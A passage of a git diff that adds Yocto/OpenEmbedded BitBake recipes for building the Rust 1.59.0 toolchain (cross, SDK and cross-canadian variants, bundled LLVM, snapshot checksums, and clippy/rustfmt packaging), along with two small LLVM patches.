+ cp -R --no-dereference build/${SNAPSHOT_BUILD_SYS}/stage2/lib/rustlib/src/rust/src/llvm-project/libunwind ${SRC_DIR}/src/llvm-project
+ cp -R --no-dereference build/${SNAPSHOT_BUILD_SYS}/stage2/lib/rustlib/src/rust/library ${SRC_DIR}
+ cp --no-dereference build/${SNAPSHOT_BUILD_SYS}/stage2/lib/rustlib/src/rust/Cargo.lock ${SRC_DIR}
+ # Remove executable bit from any files so then SDK doesn't try to relocate.
+ chmod -R -x+X ${SRC_DIR}
+
+ ENV_SETUP_DIR=${D}${base_prefix}/environment-setup.d
+ mkdir "${ENV_SETUP_DIR}"
+ ENV_SETUP_SH="${ENV_SETUP_DIR}/rust.sh"
+
+ cat <<- EOF > "${ENV_SETUP_SH}"
+ export RUSTFLAGS="--sysroot=\$OECORE_NATIVE_SYSROOT/usr -C link-arg=--sysroot=\$OECORE_TARGET_SYSROOT -L\$OECORE_NATIVE_SYSROOT/usr/lib/${TARGET_SYS}/rustlib/${TARGET_SYS}/lib"
+ export RUST_TARGET_PATH="\$OECORE_NATIVE_SYSROOT/usr/lib/${TARGET_SYS}/rustlib"
+ EOF
+
+ chown -R root.root ${D}
+}
+
+PKG_SYS_LIBDIR = "${SDKPATHNATIVE}/usr/lib"
+PKG_SYS_BINDIR = "${SDKPATHNATIVE}/usr/bin"
+PKG_RUSTLIB_DIR = "${PKG_SYS_LIBDIR}/${TARGET_SYS}/rustlib"
+FILES:${PN} = "${PKG_SYS_LIBDIR}/*.so ${PKG_SYS_BINDIR} ${base_prefix}/environment-setup.d"
+FILES:${RUSTLIB_TARGET_PN} = "${PKG_RUSTLIB_DIR}/${TARGET_SYS} ${PKG_RUSTLIB_DIR}/${TARGET_SYS}.json"
+FILES:${RUSTLIB_HOST_PN} = "${PKG_RUSTLIB_DIR}/${BUILD_ARCH}-unknown-linux-gnu"
+FILES:${RUSTLIB_SRC_PN} = "${PKG_RUSTLIB_DIR}/src"
+
+SUMMARY:${RUSTLIB_TARGET_PN} = "Rust cross canadian libaries for ${TARGET_SYS}"
+SUMMARY:${RUSTLIB_HOST_PN} = "Rust cross canadian libaries for ${HOST_SYS}"
+SUMMARY:${RUSTLIB_SRC_PN} = "Rust standard library sources for cross canadian toolchain"
+SUMMARY:${PN} = "Rust crost canadian compiler"
+
diff --git a/meta/recipes-devtools/rust/rust-cross-canadian_1.59.0.bb b/meta/recipes-devtools/rust/rust-cross-canadian_1.59.0.bb
new file mode 100644
index 0000000000..766912c019
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-cross-canadian_1.59.0.bb
@@ -0,0 +1,6 @@
+require rust-cross-canadian.inc
+require rust-source.inc
+require rust-snapshot.inc
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/rust:"
+
diff --git a/meta/recipes-devtools/rust/rust-cross.inc b/meta/recipes-devtools/rust/rust-cross.inc
new file mode 100644
index 0000000000..f6babfeeda
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-cross.inc
@@ -0,0 +1,66 @@
+python do_rust_gen_targets () {
+ wd = d.getVar('WORKDIR') + '/targets/'
+ # It is important 'TARGET' is last here so that it overrides our less
+ # informed choices for BUILD & HOST if TARGET happens to be the same as
+ # either of them.
+ for thing in ['BUILD', 'HOST', 'TARGET']:
+ bb.debug(1, "rust_gen_target for " + thing)
+ features = ""
+ cpu = "generic"
+ arch = d.getVar('{}_ARCH'.format(thing))
+ abi = ""
+ if thing is "TARGET":
+ abi = d.getVar('ABIEXTENSION')
+ # arm and armv7 have different targets in llvm
+ if arch == "arm" and target_is_armv7(d):
+ arch = 'armv7'
+ features = d.getVar('TARGET_LLVM_FEATURES') or ""
+ cpu = d.getVar('TARGET_LLVM_CPU')
+ rust_gen_target(d, thing, wd, features, cpu, arch, abi)
+}
+
+# Otherwise we'll depend on what we provide
+INHIBIT_DEFAULT_RUST_DEPS = "1"
+
+# Unlike native (which nicely maps it's DEPENDS) cross wipes them out completely.
+# Generally, we (and cross in general) need the same things that native needs,
+# so it might make sense to take it's mapping. For now, though, we just mention
+# the bits we need explicitly.
+DEPENDS += "rust-llvm-native"
+DEPENDS += "rust-native"
+
+# In the cross compilation case, rustc doesn't seem to get the rpath quite
+# right. It manages to include '../../lib/${TARGET_PREFIX}', but doesn't
+# include the '../../lib' (ie: relative path from cross_bindir to normal
+# libdir. As a result, we end up not being able to properly reference files in normal ${libdir}.
+# Most of the time this happens to work fine as the systems libraries are
+# subsituted, but sometimes a host system will lack a library, or the right
+# version of a library (libtinfo was how I noticed this).
+#
+# FIXME: this should really be fixed in rust itself.
+# FIXME: using hard-coded relative paths is wrong, we should ask bitbake for
+# the relative path between 2 of it's vars.
+HOST_POST_LINK_ARGS:append = " -Wl,-rpath=../../lib"
+BUILD_POST_LINK_ARGS:append = " -Wl,-rpath=../../lib"
+
+# We need the same thing for the calls to the compiler when building the runtime crap
+TARGET_CC_ARCH:append = " --sysroot=${STAGING_DIR_TARGET}"
+
+do_rust_setup_snapshot () {
+}
+
+do_configure () {
+}
+
+do_compile () {
+}
+
+do_install () {
+ mkdir -p ${D}${prefix}/${base_libdir_native}/rustlib
+ cp ${WORKDIR}/targets/${TARGET_SYS}.json ${D}${prefix}/${base_libdir_native}/rustlib
+}
+
+rust_cross_sysroot_preprocess() {
+ sysroot_stage_dir ${D}${prefix}/${base_libdir_native}/rustlib ${SYSROOT_DESTDIR}${prefix}/${base_libdir_native}/rustlib
+}
+SYSROOT_PREPROCESS_FUNCS += "rust_cross_sysroot_preprocess"
diff --git a/meta/recipes-devtools/rust/rust-cross_1.59.0.bb b/meta/recipes-devtools/rust/rust-cross_1.59.0.bb
new file mode 100644
index 0000000000..5358d98da8
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-cross_1.59.0.bb
@@ -0,0 +1,8 @@
+require rust.inc
+inherit cross
+require rust-cross.inc
+require rust-source.inc
+
+DEPENDS += "virtual/${TARGET_PREFIX}gcc virtual/${TARGET_PREFIX}compilerlibs virtual/libc"
+PROVIDES = "virtual/${TARGET_PREFIX}rust"
+PN = "rust-cross-${TUNE_PKGARCH}-${TCLIBC}"
diff --git a/meta/recipes-devtools/rust/rust-crosssdk_1.59.0.bb b/meta/recipes-devtools/rust/rust-crosssdk_1.59.0.bb
new file mode 100644
index 0000000000..5929978591
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-crosssdk_1.59.0.bb
@@ -0,0 +1,8 @@
+require rust.inc
+inherit crosssdk
+require rust-cross.inc
+require rust-source.inc
+
+DEPENDS += "virtual/${TARGET_PREFIX}gcc-crosssdk virtual/nativesdk-${TARGET_PREFIX}compilerlibs virtual/nativesdk-libc"
+PROVIDES = "virtual/nativesdk-${TARGET_PREFIX}rust"
+PN = "rust-crosssdk-${TUNE_PKGARCH}-${TCLIBC}"
diff --git a/meta/recipes-devtools/rust/rust-llvm.inc b/meta/recipes-devtools/rust/rust-llvm.inc
new file mode 100644
index 0000000000..5c2ccdac9a
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-llvm.inc
@@ -0,0 +1,70 @@
+SUMMARY = "LLVM compiler framework (packaged with rust)"
+LICENSE ?= "Apache-2.0-with-LLVM-exception"
+HOMEPAGE = "http://www.rust-lang.org"
+
+SRC_URI += "file://0002-llvm-allow-env-override-of-exe-path.patch;striplevel=2 \
+ file://0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch;striplevel=2"
+
+S = "${RUSTSRC}/src/llvm-project/llvm"
+
+LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=8a15a0759ef07f2682d2ba4b893c9afe"
+
+inherit cmake python3native
+
+DEPENDS += "ninja-native rust-llvm-native"
+
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4t = "arm"
+
+# rustc_llvm with debug info is not recognized as a valid crate that's
+# generated by rust-llvm-native.
+CFLAGS:remove = "-g"
+CXXFLAGS:remove = "-g"
+
+LLVM_DIR = "llvm${LLVM_RELEASE}"
+
+EXTRA_OECMAKE = " \
+ -DCMAKE_BUILD_TYPE=Release \
+ -DLLVM_TARGETS_TO_BUILD='ARM;AArch64;Mips;PowerPC;RISCV;X86' \
+ -DLLVM_BUILD_DOCS=OFF \
+ -DLLVM_ENABLE_TERMINFO=OFF \
+ -DLLVM_ENABLE_ZLIB=OFF \
+ -DLLVM_ENABLE_LIBXML2=OFF \
+ -DLLVM_ENABLE_FFI=OFF \
+ -DLLVM_INSTALL_UTILS=ON \
+ -DLLVM_BUILD_EXAMPLES=OFF \
+ -DLLVM_INCLUDE_EXAMPLES=OFF \
+ -DLLVM_BUILD_TESTS=OFF \
+ -DLLVM_INCLUDE_TESTS=OFF \
+ -DLLVM_TARGET_ARCH=${TARGET_ARCH} \
+ -DCMAKE_INSTALL_PREFIX:PATH=${libdir}/llvm-rust \
+"
+EXTRA_OECMAKE:append:class-target = "\
+ -DCMAKE_CROSSCOMPILING:BOOL=ON \
+ -DLLVM_BUILD_TOOLS=OFF \
+ -DLLVM_TABLEGEN=${STAGING_LIBDIR_NATIVE}/llvm-rust/bin/llvm-tblgen \
+ -DLLVM_CONFIG_PATH=${STAGING_LIBDIR_NATIVE}/llvm-rust/bin/llvm-config \
+"
+
+# The debug symbols are huge here (>2GB) so suppress them since they
+# provide almost no value. If you really need them then override this
+INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
+
+export YOCTO_ALTERNATE_EXE_PATH = "${STAGING_LIBDIR}/llvm-rust/bin/llvm-config"
+
+do_install:append () {
+ # we don't need any of this stuff to build Rust
+ rm -rf "${D}/usr/lib/cmake"
+}
+
+PACKAGES =+ "${PN}-bugpointpasses ${PN}-llvmhello ${PN}-liblto"
+
+# Add the extra locations to avoid the complaints about unpackaged files
+FILES:${PN}-bugpointpasses = "${libdir}/llvm-rust/lib/BugpointPasses.so"
+FILES:${PN}-llvmhello = "${libdir}/llvm-rust/lib/LLVMHello.so"
+FILES:${PN}-liblto = "${libdir}/llvm-rust/lib/libLTO.so.*"
+FILES:${PN}-staticdev =+ "${libdir}/llvm-rust/*/*.a"
+FILES:${PN} += "${libdir}/libLLVM*.so.* ${libdir}/llvm-rust/lib/*.so.* ${libdir}/llvm-rust/bin"
+FILES:${PN}-dev += "${datadir}/llvm ${libdir}/llvm-rust/lib/*.so ${libdir}/llvm-rust/include ${libdir}/llvm-rust/share ${libdir}/llvm-rust/lib/cmake"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/rust/rust-llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch b/meta/recipes-devtools/rust/rust-llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch
new file mode 100644
index 0000000000..48af6fc283
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch
@@ -0,0 +1,31 @@
+From 86940d87026432683fb6741cd8a34d3b9b18e40d Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Fri, 27 Nov 2020 10:11:08 +0000
+Subject: [PATCH] AsmMatcherEmitter: sort ClassInfo lists by name as well
+
+Otherwise, there are instances which are identical in
+every other field and therefore sort non-reproducibly
+(which breaks binary and source reproducibiliy).
+
+Upstream-Status: Submitted [https://reviews.llvm.org/D97477]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ llvm/utils/TableGen/AsmMatcherEmitter.cpp | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/llvm/utils/TableGen/AsmMatcherEmitter.cpp b/llvm/utils/TableGen/AsmMatcherEmitter.cpp
+index ccf0959389b..1f801e83b7d 100644
+--- a/llvm/utils/TableGen/AsmMatcherEmitter.cpp
++++ b/llvm/utils/TableGen/AsmMatcherEmitter.cpp
+@@ -359,7 +359,10 @@ public:
+ // name of a class shouldn't be significant. However, some of the backends
+ // accidentally rely on this behaviour, so it will have to stay like this
+ // until they are fixed.
+- return ValueName < RHS.ValueName;
++ if (ValueName != RHS.ValueName)
++ return ValueName < RHS.ValueName;
++ // All else being equal, we should sort by name, for source and binary reproducibility
++ return Name < RHS.Name;
+ }
+ };
+
diff --git a/meta/recipes-devtools/rust/rust-llvm/0002-llvm-allow-env-override-of-exe-path.patch b/meta/recipes-devtools/rust/rust-llvm/0002-llvm-allow-env-override-of-exe-path.patch
new file mode 100644
index 0000000000..9be26677a9
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-llvm/0002-llvm-allow-env-override-of-exe-path.patch
@@ -0,0 +1,33 @@
+From 7111770e8290082530d920e120995bf81431b0aa Mon Sep 17 00:00:00 2001
+From: Martin Kelly <mkelly@xevo.com>
+Date: Fri, 19 May 2017 00:22:57 -0700
+Subject: [PATCH 12/18] llvm: allow env override of exe path
+
+When using a native llvm-config from inside a sysroot, we need llvm-config to
+return the libraries, include directories, etc. from inside the sysroot rather
+than from the native sysroot. Thus provide an env override for calling
+llvm-config from a target sysroot.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Martin Kelly <mkelly@xevo.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ llvm/tools/llvm-config/llvm-config.cpp | 7 +++++++
+ 1 file changed, 7 insertions(+)
+
+--- a/llvm/tools/llvm-config/llvm-config.cpp
++++ b/llvm/tools/llvm-config/llvm-config.cpp
+@@ -226,6 +226,13 @@ Typical components:\n\
+
+ /// Compute the path to the main executable.
+ std::string GetExecutablePath(const char *Argv0) {
++ // Hack for Yocto: we need to override the root path when we are using
++ // llvm-config from within a target sysroot.
++ const char *Sysroot = std::getenv("YOCTO_ALTERNATE_EXE_PATH");
++ if (Sysroot != nullptr) {
++ return Sysroot;
++ }
++
+ // This just needs to be some symbol in the binary; C++ doesn't
+ // allow taking the address of ::main however.
+ void *P = (void *)(intptr_t)GetExecutablePath;
diff --git a/meta/recipes-devtools/rust/rust-llvm_1.59.0.bb b/meta/recipes-devtools/rust/rust-llvm_1.59.0.bb
new file mode 100644
index 0000000000..5b94e22f7b
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-llvm_1.59.0.bb
@@ -0,0 +1,6 @@
+# check src/llvm-project/llvm/CMakeLists.txt for llvm version in use
+#
+LLVM_RELEASE = "13.0.0"
+require rust-source.inc
+require rust-llvm.inc
+
diff --git a/meta/recipes-devtools/rust/rust-snapshot.inc b/meta/recipes-devtools/rust/rust-snapshot.inc
new file mode 100644
index 0000000000..b2f68766cf
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-snapshot.inc
@@ -0,0 +1,29 @@
+## This is information on the rust-snapshot (binary) used to build our current release.
+## snapshot info is taken from rust/src/stage0.txt
+## TODO: find a way to add additional SRC_URIs based on the contents of an
+## earlier SRC_URI.
+RS_VERSION = "1.58.0"
+CARGO_VERSION = "1.58.0"
+
+# TODO: Add hashes for other architecture toolchains as well. Make a script?
+SRC_URI[rust-std-snapshot-x86_64.sha256sum] = "319e2dc5f50cbdfb7091f56643c637465d6bc34291ccdaf1a06a2023a37f50c7"
+SRC_URI[rustc-snapshot-x86_64.sha256sum] = "47e586451ac25027eb6c0d23c881a917d21d074d2fe9e5a3f41b4b6de1622be0"
+SRC_URI[cargo-snapshot-x86_64.sha256sum] = "3d44be4cf353f4172b79485121286be667b76246d9998e7c48a3c2907f5e9552"
+
+SRC_URI[rust-std-snapshot-aarch64.sha256sum] = "b562646864cea55079e4b9d35dc2e9b6abc8efa224e2e49779ba2cbf8ff83b3d"
+SRC_URI[rustc-snapshot-aarch64.sha256sum] = "8d7c8a64118ee523ad3ffc84baf91cf02ff4415390dc835f3925f8697170ec65"
+SRC_URI[cargo-snapshot-aarch64.sha256sum] = "0dd38e1c0217fec9a4075c74e3faa4ab5aeffe966f93e6ec56462b4df192c8b0"
+
+SRC_URI[rust-std-snapshot-powerpc64le.sha256sum] = "aebb2dcd1ec692997ac0f7f7420b7516fd914ec992449e6c53c22b45cd456f08"
+SRC_URI[rustc-snapshot-powerpc64le.sha256sum] = "611a70f459936cda2b4d13046a34f7badc9628901b90752be392723c25a1f7ef"
+SRC_URI[cargo-snapshot-powerpc64le.sha256sum] = "176b8899b031b9c96bef290933683a2dab365c623537984954e0a63a1a388cd7"
+
+SRC_URI += " \
+ https://static.rust-lang.org/dist/${RUST_STD_SNAPSHOT}.tar.xz;name=rust-std-snapshot-${RUST_BUILD_ARCH};subdir=rust-snapshot-components \
+ https://static.rust-lang.org/dist/${RUSTC_SNAPSHOT}.tar.xz;name=rustc-snapshot-${RUST_BUILD_ARCH};subdir=rust-snapshot-components \
+ https://static.rust-lang.org/dist/${CARGO_SNAPSHOT}.tar.xz;name=cargo-snapshot-${RUST_BUILD_ARCH};subdir=rust-snapshot-components \
+"
+
+RUST_STD_SNAPSHOT = "rust-std-${RS_VERSION}-${RUST_BUILD_ARCH}-unknown-linux-gnu"
+RUSTC_SNAPSHOT = "rustc-${RS_VERSION}-${RUST_BUILD_ARCH}-unknown-linux-gnu"
+CARGO_SNAPSHOT = "cargo-${CARGO_VERSION}-${RUST_BUILD_ARCH}-unknown-linux-gnu"
diff --git a/meta/recipes-devtools/rust/rust-source.inc b/meta/recipes-devtools/rust/rust-source.inc
new file mode 100644
index 0000000000..ea70ad786f
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-source.inc
@@ -0,0 +1,7 @@
+SRC_URI += "https://static.rust-lang.org/dist/rustc-${PV}-src.tar.xz;name=rust"
+SRC_URI[rust.sha256sum] = "375996ead731cab2203ec10a66a3c4568ab6997d7e5d3ae597658164fe27be3d"
+
+RUSTSRC = "${WORKDIR}/rustc-${PV}-src"
+
+UPSTREAM_CHECK_URI = "https://forge.rust-lang.org/infra/other-installation-methods.html"
+UPSTREAM_CHECK_REGEX = "rustc-(?P<pver>\d+(\.\d+)+)-src"
diff --git a/meta/recipes-devtools/rust/rust-target.inc b/meta/recipes-devtools/rust/rust-target.inc
new file mode 100644
index 0000000000..3f637b3ba5
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-target.inc
@@ -0,0 +1,10 @@
+require rust.inc
+
+DEPENDS += "rust-llvm (=${PV})"
+
+# Otherwise we'll depend on what we provide
+INHIBIT_DEFAULT_RUST_DEPS:class-native = "1"
+# We don't need to depend on gcc-native because yocto assumes it exists
+PROVIDES:class-native = "virtual/${TARGET_PREFIX}rust"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/rust/rust-tools-cross-canadian.inc b/meta/recipes-devtools/rust/rust-tools-cross-canadian.inc
new file mode 100644
index 0000000000..f0358551ae
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-tools-cross-canadian.inc
@@ -0,0 +1,38 @@
+
+require rust-cross-canadian-common.inc
+
+RUST_TOOLS_CLIPPY_PN = "rust-tools-clippy-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+RUST_TOOLS_RUSTFMT_PN = "rust-tools-rustfmt-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+RUST_TOOLS_PKGS = "${RUST_TOOLS_CLIPPY_PN} ${RUST_TOOLS_RUSTFMT_PN}"
+PN = "rust-tools-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+
+PACKAGES = "${RUST_TOOLS_CLIPPY_PN} ${RUST_TOOLS_RUSTFMT_PN} ${PN}"
+RDEPENDS:${PN} += "${RUST_TOOLS_PKGS}"
+
+do_compile () {
+ rust_runx build --stage 2 src/tools/clippy
+ rust_runx build --stage 2 src/tools/rustfmt
+}
+
+do_install () {
+ SYS_BINDIR=$(dirname ${D}${bindir})
+
+ install -d "${SYS_BINDIR}"
+ cp build/${SNAPSHOT_BUILD_SYS}/stage2-tools-bin/* ${SYS_BINDIR}
+ for i in ${SYS_BINDIR}/*; do
+ chrpath -r "\$ORIGIN/../lib" ${i}
+ done
+
+ chown -R root.root ${D}
+}
+
+ALLOW_EMPTY:${PN} = "1"
+
+PKG_SYS_BINDIR = "${SDKPATHNATIVE}/usr/bin"
+FILES:${RUST_TOOLS_CLIPPY_PN} = "${PKG_SYS_BINDIR}/cargo-clippy ${PKG_SYS_BINDIR}/clippy-driver"
+FILES:${RUST_TOOLS_RUSTFMT_PN} = "${PKG_SYS_BINDIR}/rustfmt"
+
+SUMMARY:${PN} = "Rust helper tools"
+SUMMARY:${RUST_TOOLS_CLIPPY_PN} = "A collection of lints to catch common mistakes and improve your Rust code"
+SUMMARY:${RUST_TOOLS_RUSTFMT_PN} = "A tool for formatting Rust code according to style guidelines"
+
diff --git a/meta/recipes-devtools/rust/rust-tools-cross-canadian_1.59.0.bb b/meta/recipes-devtools/rust/rust-tools-cross-canadian_1.59.0.bb
new file mode 100644
index 0000000000..2d809d68f5
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-tools-cross-canadian_1.59.0.bb
@@ -0,0 +1,6 @@
+require rust-tools-cross-canadian.inc
+require rust-source.inc
+require rust-snapshot.inc
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/rust:"
+
diff --git a/meta/recipes-devtools/rust/rust.inc b/meta/recipes-devtools/rust/rust.inc
new file mode 100644
index 0000000000..f39228e3c0
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust.inc
@@ -0,0 +1,202 @@
+SUMMARY = "Rust compiler and runtime libaries"
+HOMEPAGE = "http://www.rust-lang.org"
+SECTION = "devel"
+LICENSE = "MIT | Apache-2.0"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=93a95682d51b4cb0a633a97046940ef0"
+
+inherit rust
+inherit cargo_common
+
+DEPENDS += "file-native python3-native"
+DEPENDS:append:class-native = " rust-llvm-native"
+
+S = "${RUSTSRC}"
+
+# We generate local targets, and need to be able to locate them
+export RUST_TARGET_PATH="${WORKDIR}/targets/"
+
+export FORCE_CRATE_HASH="${BB_TASKHASH}"
+
+RUST_ALTERNATE_EXE_PATH ?= "${STAGING_LIBDIR}/llvm-rust/bin/llvm-config"
+export YOCTO_ALTERNATE_EXE_PATH = "${RUST_ALTERNATE_EXE_PATH}"
+export YOCTO_ALTERNATE_MULTILIB_NAME = "/${BASELIB}"
+
+# We don't want to use bitbakes vendoring because the rust sources do their
+# own vendoring.
+CARGO_DISABLE_BITBAKE_VENDORING = "1"
+
+# We can't use RUST_BUILD_SYS here because that may be "musl" if
+# TCLIBC="musl". Snapshots are always -unknown-linux-gnu
+SNAPSHOT_BUILD_SYS = "${RUST_BUILD_ARCH}-unknown-linux-gnu"
+setup_cargo_environment () {
+ # The first step is to build bootstrap and some early stage tools,
+ # these are build for the same target as the snapshot, e.g.
+ # x86_64-unknown-linux-gnu.
+ # Later stages are build for the native target (i.e. target.x86_64-linux)
+ cargo_common_do_configure
+
+ printf '[target.%s]\n' "${SNAPSHOT_BUILD_SYS}" >> ${CARGO_HOME}/config
+ printf "linker = '%s'\n" "${RUST_BUILD_CCLD}" >> ${CARGO_HOME}/config
+}
+
+include rust-common.inc
+
+do_rust_setup_snapshot () {
+ for installer in "${WORKDIR}/rust-snapshot-components/"*"/install.sh"; do
+ "${installer}" --prefix="${WORKDIR}/rust-snapshot" --disable-ldconfig
+ done
+
+ # Some versions of rust (e.g. 1.18.0) tries to find cargo in stage0/bin/cargo
+ # and fail without it there.
+ mkdir -p ${RUSTSRC}/build/${BUILD_SYS}
+ ln -sf ${WORKDIR}/rust-snapshot/ ${RUSTSRC}/build/${BUILD_SYS}/stage0
+
+ # Need to use uninative's loader if enabled/present since the library paths
+ # are used internally by rust and result in symbol mismatches if we don't
+ if [ ! -z "${UNINATIVE_LOADER}" -a -e "${UNINATIVE_LOADER}" ]; then
+ for bin in cargo rustc rustdoc; do
+ patchelf-uninative ${WORKDIR}/rust-snapshot/bin/$bin --set-interpreter ${UNINATIVE_LOADER}
+ done
+ fi
+}
+addtask rust_setup_snapshot after do_unpack before do_configure
+do_rust_setup_snapshot[dirs] += "${WORKDIR}/rust-snapshot"
+do_rust_setup_snapshot[vardepsexclude] += "UNINATIVE_LOADER"
+
+python do_configure() {
+ import json
+ try:
+ import configparser
+ except ImportError:
+ import ConfigParser as configparser
+
+ # toml is rather similar to standard ini like format except it likes values
+ # that look more JSON like. So for our purposes simply escaping all values
+ # as JSON seem to work fine.
+
+ e = lambda s: json.dumps(s)
+
+ config = configparser.RawConfigParser()
+
+ # [target.ARCH-poky-linux]
+ target_section = "target.{}".format(d.getVar('TARGET_SYS', True))
+ config.add_section(target_section)
+
+ llvm_config = d.expand("${YOCTO_ALTERNATE_EXE_PATH}")
+ config.set(target_section, "llvm-config", e(llvm_config))
+
+ config.set(target_section, "cxx", e(d.expand("${RUST_TARGET_CXX}")))
+ config.set(target_section, "cc", e(d.expand("${RUST_TARGET_CC}")))
+
+ # If we don't do this rust-native will compile it's own llvm for BUILD.
+ # [target.${BUILD_ARCH}-unknown-linux-gnu]
+ target_section = "target.{}".format(d.getVar('SNAPSHOT_BUILD_SYS', True))
+ config.add_section(target_section)
+
+ config.set(target_section, "llvm-config", e(llvm_config))
+
+ config.set(target_section, "cxx", e(d.expand("${RUST_BUILD_CXX}")))
+ config.set(target_section, "cc", e(d.expand("${RUST_BUILD_CC}")))
+
+ # [rust]
+ config.add_section("rust")
+ config.set("rust", "rpath", e(True))
+ config.set("rust", "channel", e("stable"))
+
+ # Whether or not to optimize the compiler and standard library
+ config.set("rust", "optimize", e(True))
+
+ # [build]
+ config.add_section("build")
+ config.set("build", "submodules", e(False))
+ config.set("build", "docs", e(False))
+
+ rustc = d.expand("${WORKDIR}/rust-snapshot/bin/rustc")
+ config.set("build", "rustc", e(rustc))
+
+ # Support for the profiler runtime to generate e.g. coverage report,
+ # PGO etc.
+ config.set("build", "profiler", e(True))
+
+ cargo = d.expand("${WORKDIR}/rust-snapshot/bin/cargo")
+ config.set("build", "cargo", e(cargo))
+
+ config.set("build", "vendor", e(True))
+
+ if not "targets" in locals():
+ targets = [d.getVar("TARGET_SYS", True)]
+ config.set("build", "target", e(targets))
+
+ if not "hosts" in locals():
+ hosts = [d.getVar("HOST_SYS", True)]
+ config.set("build", "host", e(hosts))
+
+ # We can't use BUILD_SYS since that is something the rust snapshot knows
+ # nothing about when trying to build some stage0 tools (like fabricate)
+ config.set("build", "build", e(d.getVar("SNAPSHOT_BUILD_SYS", True)))
+
+ # [install]
+ config.add_section("install")
+ # ./x.py install doesn't have any notion of "destdir"
+ # but we can prepend ${D} to all the directories instead
+ config.set("install", "prefix", e(d.getVar("D", True) + d.getVar("prefix", True)))
+ config.set("install", "bindir", e(d.getVar("D", True) + d.getVar("bindir", True)))
+ config.set("install", "libdir", e(d.getVar("D", True) + d.getVar("libdir", True)))
+ config.set("install", "datadir", e(d.getVar("D", True) + d.getVar("datadir", True)))
+ config.set("install", "mandir", e(d.getVar("D", True) + d.getVar("mandir", True)))
+
+ with open("config.toml", "w") as f:
+ f.write('changelog-seen = 2\n\n')
+ config.write(f)
+
+ # set up ${WORKDIR}/cargo_home
+ bb.build.exec_func("setup_cargo_environment", d)
+}
+
+
+rust_runx () {
+ echo "COMPILE ${PN}" "$@"
+
+ # CFLAGS, LDFLAGS, CXXFLAGS, CPPFLAGS are used by rust's build for a
+ # wide range of targets (not just TARGET). Yocto's settings for them will
+ # be inappropriate, avoid using.
+ unset CFLAGS
+ unset LDFLAGS
+ unset CXXFLAGS
+ unset CPPFLAGS
+
+ oe_cargo_fix_env
+
+ python3 src/bootstrap/bootstrap.py ${@oe.utils.parallel_make_argument(d, '-j %d')} "$@" --verbose
+}
+rust_runx[vardepsexclude] += "PARALLEL_MAKE"
+
+do_compile () {
+ rust_runx build
+}
+
+rust_do_install () {
+ mkdir -p ${D}${bindir}
+ cp build/${HOST_SYS}/stage2/bin/* ${D}${bindir}
+
+ mkdir -p ${D}${libdir}/rustlib
+ cp -pRd build/${HOST_SYS}/stage2/lib/* ${D}${libdir}
+ # Remove absolute symlink so bitbake doesn't complain
+ rm -f ${D}${libdir}/rustlib/src/rust
+}
+
+rust_install_targets() {
+ # Install our custom target.json files
+ local td="${D}${libdir}/rustlib/"
+ install -d "$td"
+ for tgt in "${WORKDIR}/targets/"* ; do
+ install -m 0644 "$tgt" "$td"
+ done
+}
+
+
+do_install () {
+ rust_do_install
+ rust_install_targets
+}
+# ex: sts=4 et sw=4 ts=8
diff --git a/meta/recipes-devtools/rust/rust_1.59.0.bb b/meta/recipes-devtools/rust/rust_1.59.0.bb
new file mode 100644
index 0000000000..b505ad46ca
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust_1.59.0.bb
@@ -0,0 +1,21 @@
+require rust-target.inc
+require rust-source.inc
+require rust-snapshot.inc
+
+INSANE_SKIP:${PN}:class-native = "already-stripped"
+
+do_compile () {
+ rust_runx build --stage 2
+}
+
+rust_do_install() {
+ rust_runx install
+}
+
+python () {
+ pn = d.getVar('PN')
+
+ if not pn.endswith("-native"):
+ raise bb.parse.SkipRecipe("Rust recipe doesn't work for target builds at this time. Fixes welcome.")
+}
+
diff --git a/meta/recipes-devtools/squashfs-tools/squashfs-tools/0001-Avoid-use-of-INSTALL_DIR-for-symlink-targets.patch b/meta/recipes-devtools/squashfs-tools/squashfs-tools/0001-Avoid-use-of-INSTALL_DIR-for-symlink-targets.patch
new file mode 100644
index 0000000000..b505f05735
--- /dev/null
+++ b/meta/recipes-devtools/squashfs-tools/squashfs-tools/0001-Avoid-use-of-INSTALL_DIR-for-symlink-targets.patch
@@ -0,0 +1,34 @@
+From c9e263a7add76df1ed92e879d964264067c0f6e8 Mon Sep 17 00:00:00 2001
+From: Patrick McCarty <patrick.mccarty@intel.com>
+Date: Mon, 26 Jul 2021 11:38:43 -0700
+Subject: [PATCH] Avoid use of INSTALL_DIR for symlink targets
